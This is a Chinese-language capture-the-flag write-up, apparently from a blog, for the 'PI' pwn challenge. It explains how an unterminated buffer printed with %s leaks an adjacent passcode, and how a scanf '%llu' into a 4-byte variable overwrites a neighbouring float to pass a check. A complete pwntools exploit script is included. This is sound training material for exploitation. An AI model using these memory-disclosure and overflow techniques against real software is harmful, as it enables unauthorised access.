• DASCTF/BJDCTF 4th PWN


    PI

    第一部分

    unsigned int rad_num; 
    char passcode[64];
    char input1[64]; 
    snprintf(passcode, 0x40uLL, "%u", rad_num);
    fprintf(stdout, "Welcome %s. 
    ", input1);
    

    这里的fprintf和%s构成了字符数组溢出漏洞。如果input1中的数据全部被填完,即input1[63] != '',根据fprintf函数的特性,会一直读才会终止字符的读取。而且通过调试可以知道passcode和input1两个变量中内存是连续的,所以fprintf会一直读到passcode后才终止。

    这里有一个比较坑的地方,ida7.5在反编译后把char passcode[64]; char input1[64]; 调换了顺序,导致Ctrl+F5后在本机的C代码,是无法读到passcode的。

    第二部分

    unsigned int v1;
    float v2;
    v1 = 30000;
    v2 = 0.0;
    while ( 1 ){
      fwrite("N = ", 1uLL, 4uLL, stdout);
      __isoc99_scanf("%llu", &v1);
      if ( v1 )
        v2 = (float)(4.0 * (float)(int)sub_166F(v1)) / (float)(int)v1;
      fprintf(stdout, "pi = %.7f
    ", v2);
      v0 = v2 - 3.1415926;
      v3 = fabs(v0);
      fprintf(stdout, "error = %.7f
    
    ", v3);
      if ( v3 <= 0.0000001 )
        system("/bin/cat flag");
    }
    

    这里有个整数溢出,是%llu和unsigned int v1,float v2构成的漏洞。

    首先在gcc中,unsigned int和float都占四字节,而%llu接受八个字节的输入。

    而scanf函数中的&v1只是用来提供首地址,写入多少数据,只受格式"%llu"影响,所以我们可以尝试构造八个字节使v1为0,v2为3.141592。

    写个程序可知3.141592在程序中是以40490FDA储存的。即构造 40 49 0F DA 00 00 00 00 使在输入完v1后可以同时使v1为0,v2为40490FDA,输入40490FDA00000000的十进制,即可得到flag。

    脚本

    from pwn import *
    
    debug = 1
    localfile = "./pi"
    ip = ""
    port = ''
    
    if debug == 1:
    	p = process(localfile)
    else:
    	p = remote(ip,port)
    
    payload = 0x40 * 'a'
    p.recvuntil('Username:')
    p.sendline(payload)
    		
    p.recvuntil('a' * 0x40)
    password = p.recv(10)
    p.recvuntil('Passcode:')
    p.sendline(password)
    		
    p.recvuntil('N =')
    p.sendline('4632251120704552960')
    	
    p.interactive()
    
  • 相关阅读:
    父亲对子女的话
    开通博客
    在linux下安装MySQLdb及基本操作
    java 词汇表速查手册
    java数据源的几种配置
    DBCP的参数配置
    Linux crontab定时执行任务
    很好看的Button CSS.
    C# 创建活动目录.txt
    解密存储过程
  • 原文地址:https://www.cnblogs.com/b1ank/p/14193977.html
Copyright © 2020-2023  润新知